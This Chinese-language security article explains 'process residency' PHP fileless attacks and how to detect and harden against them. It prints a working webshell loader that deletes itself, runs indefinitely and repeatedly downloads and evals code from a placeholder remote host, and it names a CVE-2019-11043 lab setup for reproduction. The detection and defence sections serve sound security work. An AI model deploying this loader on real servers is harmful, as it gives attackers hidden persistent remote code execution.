php无文件攻击(二) - 进程驻留
字数 1278 2025-08-10 08:29:04
PHP无文件攻击(二) - 进程驻留技术分析与防御
一、技术概述
PHP无文件攻击中的"进程驻留"技术是一种高级持久化攻击手段,它利用了PHP的解析执行特性,通过以下流程实现攻击:
- 执行一个shellcode加载器
- 加载器运行后删除自身
- 加载远程文件内容到内存中执行
- 动态加载并执行真正的shellcode
整个过程shellcode不落地,仅在内存中执行,具有极强的隐蔽性。
二、攻击原理详解
2.1 Shellcode加载器示例代码
<?php
chmod($_SERVER['SCRIPT_FILENAME'], 0777);
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
echo "success";
$remote_file = 'http://x.x.x.x/shellcode';
while($code = file_get_contents($remote_file)){
@eval($code);
echo "xunhuan";
sleep(5);
};
?>
2.2 关键函数解析
-
ignore_user_abort(true)
- 作用:实现后台运行
- 功能:指示服务器在远程客户端关闭连接后是否继续执行脚本
- 设置为True时,即使用户停止脚本运行,脚本仍会继续执行
-
set_time_limit(0)
- 作用:取消脚本运行时间的超时上限
- 参数为0表示永久执行直到程序结束
- 可能被中间件的默认超时设置打断
-
unlink($_SERVER['SCRIPT_FILENAME'])
- 作用:删除自身脚本文件
- 执行条件苛刻:需要脚本具备可执行和可修改文件权限
2.3 Shellcode示例
file_put_contents('printTime.txt','I am running '.time());
2.4 攻击效果
- 加载器执行后删除自身
- 在当前目录生成printTime.txt文件
- 通过循环每隔5秒执行一次远程shellcode
- 整个攻击过程在内存中完成,无文件落地
三、攻击复现环境
可使用CVE-2019-11043的vulhub环境进行试验:
- 上传加载器
- 执行加载器
- 观察是否循环写入时间戳
- 确认加载器已删除自身
四、检测方案
由于此类webshell一直在内存中执行,可通过检测php-fpm状态信息进行发现。
4.1 开启php-fpm status
- 修改配置文件:
/usr/local/etc/php-fpm.d/www.conf - 取消注释:
pm.status_path = /status - 重启php-fpm容器
- 访问:
http://x.x.x.x:8080/status?full
4.2 检测特征
-
请求持续时间(request duration字段)
- 异常长时间运行的PHP进程
-
执行文件真实性(script字段)
- 检查执行的脚本文件是否真实存在于文件系统中
-
其他异常指标
- 异常的进程内存占用
- 不寻常的请求频率
五、防御建议
-
文件权限控制
- 严格限制PHP文件的写入和执行权限
- 禁用不必要的文件系统函数
-
PHP配置加固
- 设置合理的max_execution_time
- 禁用危险函数(如eval、exec等)
- 限制allow_url_fopen和allow_url_include
-
监控措施
- 实时监控php-fpm状态
- 建立异常进程检测机制
- 监控文件系统异常删除操作
-
安全审计
- 定期审计服务器上的PHP文件
- 检查异常的网络连接
- 分析日志中的可疑eval操作
-
入侵检测
- 部署基于行为的Webshell检测系统
- 监控内存中的异常PHP进程
- 建立基线比对机制检测异常行为
通过以上技术分析和防御措施,可以有效防范和检测此类无文件攻击,保障服务器安全。